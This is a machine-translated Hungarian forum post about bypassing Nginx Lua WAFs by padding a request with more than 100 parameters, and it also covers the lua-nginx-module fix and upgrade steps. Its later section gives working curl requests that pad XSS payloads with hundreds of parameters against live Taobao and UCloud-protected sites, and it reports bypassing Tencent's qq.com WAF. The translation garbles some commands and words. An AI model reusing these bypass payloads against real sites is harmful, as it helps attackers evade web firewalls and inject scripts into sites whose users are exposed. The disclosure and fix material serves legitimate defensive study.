Ez a cikk egy tükör gépi fordítás, kérjük, kattintson ide, hogy ugorjon az eredeti cikkre.

Nézet: 17281|Válasz: 1

[Biztonsági sebezhetőség] Nginx Lua WAF alkalmazástűzfal sebezhetősége

[Linket másol]
Közzétéve 2018. 04. 27. 9:23:29 | | | |
Amikor a ginx Lua paramétereket kap, az első 100 paraméterértéket alapértelmezés szerint megkapja, a többit pedig elvetik.
Ezért a Nginx Lua használatával rendelkező WAF-okat alapértelmezés szerint megkerüli.
Április 20-án, 18-án valaki a biztonsági utason már felfedte ezt a részletet, ezért ezt a 233-as cikket is közzétettem.



Elv

A hivatalos leírás a következő:

Fontos megjegyezni, hogy alapértelmezetten legfeljebb 100 kérésargumentum (beleértve az azonos nevűeket is), és a további kérésargumentumokat csendben eldobják, hogy megvédjék a lehetséges lehetőségeket szolgáltatáskitagadási támadások.

Alapértelmezés szerint akár 100 kérésparamétert is (beleértve az azonos nevűeket is) lehet parsírozni, és automatikusan eltávolítják a további kérésparamétereket, hogy megakadályozzák a lehetséges szolgáltatásmegtagadási támadásokat.

Keress 100-at, nagyjából a következő módszer ugyanazt a problémát mutatja.
ngx.req.get_uri_args Szerezd meg a kérésparamétereket a get
ngx.req.get_post_args Szerezd meg a poszthoz szükséges kérésparamétereket
ngx.req.get_headers Szerezd meg a kérés fejlécét
ngx.decode_args Dekódolja a paraméterek URL-jét
ngx.resp.get_headers Szerezd meg a válasz fejlécét
A lua-nginx-modul forráskódban láthatjuk, hogy a forráskód az alapértelmezett maximális kérésparamétert és fejlécet 100-ra állítja be




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Azonban a hivatalos személy megad egy módszert az alapértelmezett érték módosítására, például ngx.req.get_uri_args (200) az első 200 kérésparaméter megszerzéséhez.

Teszt

Ha a kérésparaméter 101, az utolsó kérésparaméter nem érhető el.

Curl -V 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Ha egy kérésparamétert csökkentesz, akkor az utolsó kérésparamétert akkor kaphatod meg, amikor a kérésparaméterek pontosan 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
V: ZBG
Megvan, zbg

Fontos megjegyezni, hogy az alapértelmezett tény valóban 100 kérésparaméter, és a 100 kérésparaméter után elhagyott kérésparamétereket eldobják.

Furcsa dolog, hogy a fenti visszaadási tartalomban, a durva pozíció közepén, a végső zbg paraméter már megjelenik. Tippem szerint a kimenet nem sorrendben van, de az elemzés sorrendje követi a paraméterek beküldésének sorrendjét, mert amikor a 101. paraméter értéke zbg, akkor az érték nem érhető el.

Csatolva van a python szkript, amely a következő paramétereket generálja:

# Szerző: ZBG
# Mail:zbg@zbg.org
# dátum: 2018-04-03

a = ''
A tartományban (200) i esetén:
    a = a + 'a{0}={1}&'.format(i+1, i+1)
Nyomd a
javítás
Természetesen nem ajánlott módosítani a paraméter MAX értékét a forráskódban. Mert bármennyi értéket is állítasz be, megkerülhető. Ajánlott a módszer paraméterein keresztül beállítani.
Ha meg tudnád kapni a kérés paraméter hosszát, és olyan módszert használsz, mint a ngx.req.get_uri_args (hossz), nem lenne elég?
A dokumentációt olvasva azt tapasztaltam, hogy a kért paraméterek számát nem lehetett megszerezni. Ha viszont 0-ra állítod a hosszát, akkor az összes kért paramétert megkaphatod.

Ez az érv nullára állítható, hogy eltávolítsuk a korlátot, és feldolgozzák az összes beérkezett kérésargumentumot.
helyi args = ngx.req.get_uri_args(0)

Ugyanakkor erősen nem ajánlott 0-ra állítani a lehetséges szolgáltatáskitagadási támadások megelőzése érdekében.

A max_args sapka eltávolítása erősen nem ajánlott.

Valójában azon gondolkodtam, miért vezetne 0 beállítás potenciális szolgáltatásmegtagadási támadáshoz, és a kérés úgyis az nginx-hez jut, függetlenül attól, mennyi paraméter van a get vagy a post között.

Felvetettem a problémát a hivatalos személynek, és a szerző azt mondta, hogy ngx.req.get_uri_args (0) növeli a szerver CPU- és memóriahasználatát. Később 200 paramétert teszteltem, és Nginx+php segítségével megszereztem a 200. paramétert, ami azt jelenti, hogy a Nginx alapértelmezés szerint nem korlátozza a kért paraméterek számát. Akkor a probléma magában a Nginx Lua-ban rejlik,Amikor a Nginx Lua az ngx.req.get_uri_args(0)-t használja az összes paraméter megszerzéséhez és átfuttatja őket, amikor sok paramétert kérnek, több CPU-t és memóriát fogyaszt, és végül még szolgáltatás megtagadásához is vezet

2018.04.03-án a Bypass007 hivatalosan is felvetett egy PROBLÉMÁT ezzel a hibajavítással kapcsolatban, és végül hivatalosan is hozzáadott egy új funkciót ezen PROBLÉMA alapján 2018-04-21-én. Ennek a függvénynek a commit-rekordcíme: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

A függvényleírás a következő: a v0.10.13 után (beleértve a v0.10.13-at is) követő verziókban, amikor a kérések határszámát átlépik, a második visszatérési érték a levágott string.
A v0.10.13 óta, amikor a határt átlépik, egy második értéket ad vissza, amely a "levágott" string.
Azonban az opcionális max_args függvény argumentum használható ennek a korlátnak a felülbírálására:
helyi args, err = ngx.req.get_uri_args(10)
ha err == "levágva", akkor
     -- itt választható a jelenlegi kérés figyelmen kívül hagyása vagy elutasítása
vége

Így jött ki a végső megoldás.

Upgrade lua-nginx-module v0.10.13-ra vagy továbbibbra

Ezután korlátozzuk a paraméterek teljes számát, mert szerintem a 100 elég

Az OpenResty frissíti a lua-nginx-modul modult

Nem találtam semmilyen információt az OpenResty fejlesztő modulról, ezért magam találtam ki, hogyan frissítsem a lua-nginx-modul modult.

A lépések a következők:

Töltse le a lua-nginx-modul megfelelő változatát
wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
kicsomagol
tar -zxvf v0.10.13
Töröld az előző lua-nginx-module verziót
rm -RF openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Másold az új lua-nginx-modult
MV Lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
A fordításhoz lásd a VeryNginx fordítási paramétereit


Átjáró

Tisztázni kell, hogy a következő WAF-eknél nem vagyok biztos benne, hogy használjam-e Nginx Lua-t, de a paraméterek összesített száma megkerülheti őket.

Ali WAF

Ez a WAF egy olyan WAF, amelyet az Alibaba bőségesen használ, vagyis olyan domainnevek, mint a *.taobao.com, és nem tesztelték az Alibaba Cloud által értékesített felhőalapú WAF-re.
Először kérj egy POST XSS rakományt, hogy elfogja azt.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
A Fuzz segítségével kiderült, hogy amikor az XSS Payload-nál a paraméterek számát 478-ra növelik, már nem fogják el, és a weboldal normálisan elérhető.
Csavar -V -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a13=113&a114=114&a15=115&a16= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&134=133& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=244&244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&355=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=466&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a==<img src=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

A tesztelt WAF egy UCloud által forgalmazott WAF.
Amikor a kérés paraméterét 138-ra növelik, már nem lesz letiltva, és a weboldal normálisan elérhető lesz.
Curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a13=113&a114=114&a15=115&a16= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&134=133& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

Tencent WAF

Ez a WAF egy olyan WAF, amelyet a Tencent bőségesen használ, vagyis olyan WAF, amelyet olyan domainnevek használnak, mint a *.qq.com, és nem tesztelték a Tencent Cloud által árult felhőalapú WAF-re.
Amikor a kérés paramétere 4000-re nő, már nem lesz blokkolva, és a weboldal normálisan elérhető lesz. A következő domének véletlenszerű tesztjei érintettek.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

összefoglalás

Ez a kérdés nagyon egyszerű, és alaposan elolvasva megtalálhatja a dokumentumot. De miért nem tudtam meg? Szerintem még mindig túl kevés gondolkodás van.
Hivatkozás
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Előző:Tanulj meg Photoshopot a nulláról, 18 tanulság kezdőtől istenig
Következő:Lua és Luajit erősségei és gyengeségei
Lemondás:
A Code Farmer Network által közzétett összes szoftver, programozási anyag vagy cikk kizárólag tanulási és kutatási célokra szolgál; A fenti tartalmat nem szabad kereskedelmi vagy illegális célokra használni, különben a felhasználók viselik az összes következményet. Az oldalon található információk az internetről származnak, és a szerzői jogi vitáknak semmi köze ehhez az oldalhoz. A fenti tartalmat a letöltés után 24 órán belül teljesen törölni kell a számítógépéről. Ha tetszik a program, kérjük, támogassa a valódi szoftvert, vásároljon regisztrációt, és szerezzen jobb hiteles szolgáltatásokat. Ha bármilyen jogsértés történik, kérjük, vegye fel velünk a kapcsolatot e-mailben.

Mail To:help@itsvse.com